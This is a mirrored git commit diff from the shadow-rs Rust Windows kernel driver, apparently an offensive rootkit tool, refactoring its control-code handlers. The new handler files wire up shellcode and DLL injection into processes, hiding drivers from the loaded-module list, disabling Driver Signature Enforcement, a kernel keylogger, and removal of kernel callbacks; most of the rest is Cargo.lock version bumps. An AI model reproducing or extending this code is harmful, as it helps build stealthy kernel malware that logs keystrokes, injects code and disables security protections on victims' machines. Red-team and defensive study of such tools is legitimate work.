mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-10 02:54:27 +01:00
Complete refactoring of driver and client code to improve readability
This commit is contained in:
0
.gitignore
vendored
Normal file
0
.gitignore
vendored
Normal file
@@ -177,7 +177,7 @@ pub enum InjectionCommands {
|
||||
/// Type shellcode
|
||||
#[arg(long, short, required = true)]
|
||||
type_: Injection
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
/// Enum representing the subcommands for process operations.
|
||||
@@ -300,7 +300,7 @@ pub enum PS_PROTECTED_TYPE {
|
||||
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||
pub enum Injection {
|
||||
Thread = 0,
|
||||
APC = 1
|
||||
APC = 1,
|
||||
}
|
||||
|
||||
/// Enum representing the signers for process protection.
|
||||
|
||||
4
driver/.gitignore
vendored
4
driver/.gitignore
vendored
@@ -1,2 +1,4 @@
|
||||
/target
|
||||
/src/backup
|
||||
/src/backup
|
||||
/src/misc/memory.rs
|
||||
/src/misc/etw.rs
|
||||
97
driver/Cargo.lock
generated
97
driver/Cargo.lock
generated
@@ -31,9 +31,9 @@ checksum = "5c6cb57a04249c6480766f7f7cef5467412af1490f8d1e243141daddada3264f"
|
||||
|
||||
[[package]]
|
||||
name = "anstream"
|
||||
version = "0.6.14"
|
||||
version = "0.6.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b"
|
||||
checksum = "64e15c1ab1f89faffbf04a634d5e1962e9074f2741eef6d97f3c4e322426d526"
|
||||
dependencies = [
|
||||
"anstyle",
|
||||
"anstyle-parse",
|
||||
@@ -46,33 +46,33 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "anstyle"
|
||||
version = "1.0.7"
|
||||
version = "1.0.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b"
|
||||
checksum = "1bec1de6f59aedf83baf9ff929c98f2ad654b97c9510f4e70cf6f661d49fd5b1"
|
||||
|
||||
[[package]]
|
||||
name = "anstyle-parse"
|
||||
version = "0.2.4"
|
||||
version = "0.2.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4"
|
||||
checksum = "eb47de1e80c2b463c735db5b217a0ddc39d612e7ac9e2e96a5aed1f57616c1cb"
|
||||
dependencies = [
|
||||
"utf8parse",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anstyle-query"
|
||||
version = "1.1.0"
|
||||
version = "1.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
|
||||
checksum = "6d36fc52c7f6c869915e99412912f22093507da8d9e942ceaf66fe4b7c14422a"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anstyle-wincon"
|
||||
version = "3.0.3"
|
||||
version = "3.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
|
||||
checksum = "5bf74e1b6e971609db8ca7a9ce79fd5768ab6ae46441c572e46cf596f59e57f8"
|
||||
dependencies = [
|
||||
"anstyle",
|
||||
"windows-sys",
|
||||
@@ -127,9 +127,9 @@ checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
||||
|
||||
[[package]]
|
||||
name = "camino"
|
||||
version = "1.1.7"
|
||||
version = "1.1.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e0ec6b951b160caa93cc0c7b209e5a3bff7aae9062213451ac99493cd844c239"
|
||||
checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3"
|
||||
dependencies = [
|
||||
"serde",
|
||||
]
|
||||
@@ -185,9 +185,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "clap"
|
||||
version = "4.5.9"
|
||||
version = "4.5.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "64acc1846d54c1fe936a78dc189c34e28d3f5afc348403f28ecf53660b9b8462"
|
||||
checksum = "ed6719fffa43d0d87e5fd8caeab59be1554fb028cd30edc88fc4369b17971019"
|
||||
dependencies = [
|
||||
"clap_builder",
|
||||
"clap_derive",
|
||||
@@ -195,9 +195,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "clap-cargo"
|
||||
version = "0.14.0"
|
||||
version = "0.14.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f6e2fd20c8f8c7cc395f69a86a61eb9d93e1de8fadc00338508cde2ffc656388"
|
||||
checksum = "23b2ea69cefa96b848b73ad516ad1d59a195cdf9263087d977f648a818c8b43e"
|
||||
dependencies = [
|
||||
"anstyle",
|
||||
"clap",
|
||||
@@ -205,9 +205,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "clap_builder"
|
||||
version = "4.5.9"
|
||||
version = "4.5.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6fb8393d67ba2e7bfaf28a23458e4e2b543cc73a99595511eb207fdb8aede942"
|
||||
checksum = "216aec2b177652e3846684cbfe25c9964d18ec45234f0f5da5157b207ed1aab6"
|
||||
dependencies = [
|
||||
"anstream",
|
||||
"anstyle",
|
||||
@@ -217,9 +217,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "clap_derive"
|
||||
version = "4.5.8"
|
||||
version = "4.5.13"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2bac35c6dafb060fd4d275d9a4ffae97917c13a6327903a8be2153cd964f7085"
|
||||
checksum = "501d359d5f3dcaf6ecdeee48833ae73ec6e42723a1e52419c79abf9507eec0a0"
|
||||
dependencies = [
|
||||
"heck",
|
||||
"proc-macro2",
|
||||
@@ -229,15 +229,15 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "clap_lex"
|
||||
version = "0.7.1"
|
||||
version = "0.7.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70"
|
||||
checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97"
|
||||
|
||||
[[package]]
|
||||
name = "colorchoice"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
|
||||
checksum = "d3fd119d74b830634cea2a0f58bbd0d54540518a14397557951e79340abc28c0"
|
||||
|
||||
[[package]]
|
||||
name = "either"
|
||||
@@ -288,9 +288,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "is_terminal_polyfill"
|
||||
version = "1.70.0"
|
||||
version = "1.70.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
|
||||
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
|
||||
|
||||
[[package]]
|
||||
name = "itertools"
|
||||
@@ -334,15 +334,15 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.155"
|
||||
version = "0.2.158"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c"
|
||||
checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439"
|
||||
|
||||
[[package]]
|
||||
name = "libloading"
|
||||
version = "0.8.4"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e310b3a6b5907f99202fcdb4960ff45b93735d7c7d96b760fcff8db2dc0e103d"
|
||||
checksum = "4979f22fdb869068da03c9f7528f8297c6fd2606bc3a4affe42e6a823fdb8da4"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"windows-targets",
|
||||
@@ -446,9 +446,9 @@ checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
|
||||
|
||||
[[package]]
|
||||
name = "prettyplease"
|
||||
version = "0.2.20"
|
||||
version = "0.2.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5f12335488a2f3b0a83b14edad48dca9879ce89b2edd10e80237e4e852dd645e"
|
||||
checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"syn",
|
||||
@@ -465,18 +465,18 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.36"
|
||||
version = "1.0.37"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
|
||||
checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex"
|
||||
version = "1.10.5"
|
||||
version = "1.10.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b91213439dad192326a0d7c6ee3955910425f441d7038e0d6933b0aec5c4517f"
|
||||
checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
|
||||
dependencies = [
|
||||
"aho-corasick",
|
||||
"memchr",
|
||||
@@ -524,9 +524,9 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
||||
|
||||
[[package]]
|
||||
name = "rustix"
|
||||
version = "0.38.34"
|
||||
version = "0.38.35"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "70dc5ec042f7a43c4a73241207cecc9873a06d45debb38b329f8541d85c2730f"
|
||||
checksum = "a85d50532239da68e9addb745ba38ff4612a242c1c7ceea689c4bc7c2f43c36f"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
"errno",
|
||||
@@ -564,18 +564,18 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.204"
|
||||
version = "1.0.209"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bc76f558e0cbb2a839d37354c575f1dc3fdc6546b5be373ba43d95f231bf7c12"
|
||||
checksum = "99fce0ffe7310761ca6bf9faf5115afbc19688edd00171d81b1bb1b116c63e09"
|
||||
dependencies = [
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_derive"
|
||||
version = "1.0.204"
|
||||
version = "1.0.209"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e0cd7e117be63d3c3678776753929474f3b04a43a080c744d6b0ae2a8c28e222"
|
||||
checksum = "a5831b979fd7b5439637af1752d535ff49f4860c0f341d1baeb6faf0f4242170"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
@@ -584,11 +584,12 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "serde_json"
|
||||
version = "1.0.120"
|
||||
version = "1.0.127"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4e0d21c9a8cae1235ad58a00c11cb40d4b1e5c784f1ef2c537876ed6ffd8b7c5"
|
||||
checksum = "8043c06d9f82bd7271361ed64f415fe5e12a77fdb52e573e7f06a516dea329ad"
|
||||
dependencies = [
|
||||
"itoa",
|
||||
"memchr",
|
||||
"ryu",
|
||||
"serde",
|
||||
]
|
||||
@@ -660,9 +661,9 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.71"
|
||||
version = "2.0.77"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b146dcf730474b4bcd16c311627b31ede9ab149045db4d6088b3becaea046462"
|
||||
checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
@@ -768,9 +769,9 @@ checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
|
||||
|
||||
[[package]]
|
||||
name = "version_check"
|
||||
version = "0.9.4"
|
||||
version = "0.9.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
|
||||
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||
|
||||
[[package]]
|
||||
name = "wdk"
|
||||
|
||||
45
driver/src/callbacks/ioctls.rs
Normal file
45
driver/src/callbacks/ioctls.rs
Normal file
@@ -0,0 +1,45 @@
|
||||
use alloc::boxed::Box;
|
||||
use hashbrown::HashMap;
|
||||
use shared::{
|
||||
ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK},
|
||||
structs::{CallbackInfoInput, CallbackInfoOutput}
|
||||
};
|
||||
use wdk_sys::{IO_STACK_LOCATION, IRP};
|
||||
use crate::{handle_callback, utils::ioctls::IoctlHandler};
|
||||
|
||||
pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
|
||||
|
||||
// Lists callbacks.
|
||||
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Remove a callback.
|
||||
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REMOVE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_RESTORE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -16,6 +16,7 @@ use {
|
||||
};
|
||||
|
||||
mod find_callback;
|
||||
pub mod ioctls;
|
||||
|
||||
/// Variable that stores callbacks that have been removed.
|
||||
static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
|
||||
|
||||
27
driver/src/driver/ioctls.rs
Normal file
27
driver/src/driver/ioctls.rs
Normal file
@@ -0,0 +1,27 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Hiding a driver from loaded modules.
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
|
||||
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Enumerate active drivers on the system.
|
||||
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_DRIVER");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -18,6 +18,7 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
pub mod ioctls;
|
||||
|
||||
/// List of target drivers protected by a mutex.
|
||||
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
||||
|
||||
@@ -172,6 +172,33 @@ pub mod types {
|
||||
system_argument1: *mut PVOID,
|
||||
system_argument2: *mut PVOID
|
||||
);
|
||||
|
||||
pub type ZwSuspendThreadType = unsafe extern "system" fn (
|
||||
ThreadHandle: HANDLE,
|
||||
PreviousSuspendCount: *mut u32,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwResumeThreadType = unsafe extern "system" fn(
|
||||
ThreadHandle: HANDLE,
|
||||
PreviousSuspendCount: *mut u32,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwCreateDebugObjectType = unsafe extern "system" fn(
|
||||
DebugObjectHandle: *mut HANDLE,
|
||||
DesiredAccess: ACCESS_MASK,
|
||||
ObjectAttributes: *mut OBJECT_ATTRIBUTES,
|
||||
Flags: BOOLEAN,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwDebugActiveProcessType = unsafe extern "system" fn(
|
||||
ProcessHandle: HANDLE,
|
||||
DebugObjectHandle: HANDLE,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwRemoveProcessDebugType = unsafe extern "system" fn(
|
||||
ProcessHandle: HANDLE,
|
||||
DebugObjectHandle: HANDLE,
|
||||
) -> NTSTATUS;
|
||||
}
|
||||
|
||||
pub mod enums {
|
||||
@@ -246,4 +273,23 @@ extern "system" {
|
||||
NewProtect: ULONG,
|
||||
OldProtect: PULONG
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub fn ZwOpenThread(
|
||||
handle: *mut HANDLE,
|
||||
desired_access: ACCESS_MASK,
|
||||
object_attributes: *mut OBJECT_ATTRIBUTES,
|
||||
client_id: *mut CLIENT_ID
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub fn PsGetContextThread(
|
||||
Thread: PETHREAD,
|
||||
ThreadContext: *mut CONTEXT,
|
||||
Mode: KPROCESSOR_MODE
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub fn PsSetContextThread(
|
||||
Thread: PETHREAD,
|
||||
ThreadContext: *mut CONTEXT,
|
||||
Mode: KPROCESSOR_MODE
|
||||
) -> NTSTATUS;
|
||||
}
|
||||
|
||||
35
driver/src/injection/ioctls.rs
Normal file
35
driver/src/injection/ioctls.rs
Normal file
@@ -0,0 +1,35 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Process injection using ZwCreateThreadEx.
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// APC Injection.
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// DLL injection using ZwCreateThreadEx.
|
||||
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
||||
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
}
|
||||
@@ -3,13 +3,11 @@
|
||||
use {
|
||||
crate::{
|
||||
includes::{
|
||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||
types::{
|
||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{
|
||||
ZwCreateThreadExType, PKNORMAL_ROUTINE
|
||||
},
|
||||
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory
|
||||
}, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory
|
||||
},
|
||||
process::Process,
|
||||
process::Process,
|
||||
utils::{
|
||||
find_thread_alertable, find_zw_function,
|
||||
get_module_peb, read_file, InitializeObjectAttributes
|
||||
@@ -29,6 +27,7 @@ use {
|
||||
};
|
||||
|
||||
mod callbacks;
|
||||
pub mod ioctls;
|
||||
|
||||
/// Represents shellcode injection.
|
||||
pub struct InjectionShellcode;
|
||||
|
||||
@@ -10,7 +10,7 @@ use {
|
||||
kernel_log::KernelLogger,
|
||||
core::ptr::null_mut,
|
||||
wdk_sys::{_MODE::KernelMode, ntddk::*, *},
|
||||
keylogger::SHUTDOWN,
|
||||
misc::keylogger::{SHUTDOWN, keylogger},
|
||||
crate::utils::ioctls::IOCTL_MAP,
|
||||
};
|
||||
|
||||
@@ -24,9 +24,9 @@ use {
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
mod registry;
|
||||
mod callbacks;
|
||||
mod misc;
|
||||
mod driver;
|
||||
mod includes;
|
||||
mod keylogger;
|
||||
mod process;
|
||||
mod thread;
|
||||
mod module;
|
||||
@@ -59,7 +59,7 @@ pub unsafe extern "system" fn driver_entry(
|
||||
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
|
||||
|
||||
log::info!("DriverEntry Loaded");
|
||||
|
||||
|
||||
#[cfg(feature = "mapper")] {
|
||||
use includes::IoCreateDriver;
|
||||
|
||||
@@ -131,7 +131,7 @@ pub unsafe extern "system" fn shadow_entry(
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
Some(keylogger::keylogger),
|
||||
Some(keylogger),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
@@ -167,27 +167,6 @@ pub unsafe extern "system" fn shadow_entry(
|
||||
///
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
||||
///
|
||||
/// # Supported IOCTLs
|
||||
/// - `IOCTL_ELEVATE_PROCESS`: Elevates the specified process to system privileges.
|
||||
/// - `IOCTL_HIDE_UNHIDE_PROCESS`: Hide / Unhide the specified process.
|
||||
/// - `IOCTL_TERMINATE_PROCESS`: Terminate process.
|
||||
/// - `IOCTL_PROTECTION_PROCESS`: Modifying the PP / PPL of a process.
|
||||
/// - `IOCTL_ANTI_KILL_DUMPING_PROCESS`: Responsible for adding shutdown protection / memory dumping for a process.
|
||||
/// - `IOCTL_ENUMERATION_PROCESS`: Lists the processes currently hidden and protect.
|
||||
/// - `IOCTL_HIDE_UNHIDE_THREAD`: Hide the specified Thread by removing it from the list of active threads.
|
||||
/// - `IOCTL_ANTI_KILL_THREAD`: Responsible for adding thread termination protection.
|
||||
/// - `IOCTL_HIDE_DRIVER`: Hiding a driver from loaded modules.
|
||||
/// - `IOCTL_ENUMERATE_DRIVER`: Enumerate active drivers on the system.
|
||||
/// - `IOCTL_ENABLE_DSE`: Responsible for enabling/disabling DSE.
|
||||
/// - `IOCTL_KEYLOGGER`: Start / Stop Keylogger.
|
||||
/// - `IOCTL_ENUMERATE_CALLBACK`: Lists callbacks.
|
||||
/// - `IOCTL_REMOVE_CALLBACK`: Remove a callback.
|
||||
/// - `IOCTL_REGISTRY_PROTECTION_VALUE`: Adding protection for registry key values.
|
||||
/// - `IOCTL_REGISTRY_PROTECTION_KEY`: Added protection for registry keys
|
||||
/// - `IOCTL_INJECTION_SHELLCODE_THREAD`: Process injection using ZwCreateThreadEx.
|
||||
/// - `IOCTL_INJECTION_SHELLCODE_APC`: APC Injection.
|
||||
/// - `IOCTL_INJECTION_DLL_THREAD`: DLL injection using ZwCreateThreadEx.
|
||||
///
|
||||
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||
|
||||
27
driver/src/misc/ioctls.rs
Normal file
27
driver/src/misc/ioctls.rs
Normal file
@@ -0,0 +1,27 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
super::keylogger::set_keylogger_state,
|
||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
||||
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}},
|
||||
};
|
||||
|
||||
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Responsible for enabling/disabling DSE.
|
||||
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENABLE_DSE");
|
||||
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Start / Stop Keylogger
|
||||
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_KEYLOGGER");
|
||||
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
4
driver/src/misc/mod.rs
Normal file
4
driver/src/misc/mod.rs
Normal file
@@ -0,0 +1,4 @@
|
||||
// pub mod etw;
|
||||
pub mod keylogger;
|
||||
pub mod ioctls;
|
||||
// pub mod memory;
|
||||
17
driver/src/module/ioctls.rs
Normal file
17
driver/src/module/ioctls.rs
Normal file
@@ -0,0 +1,17 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_MODULE");
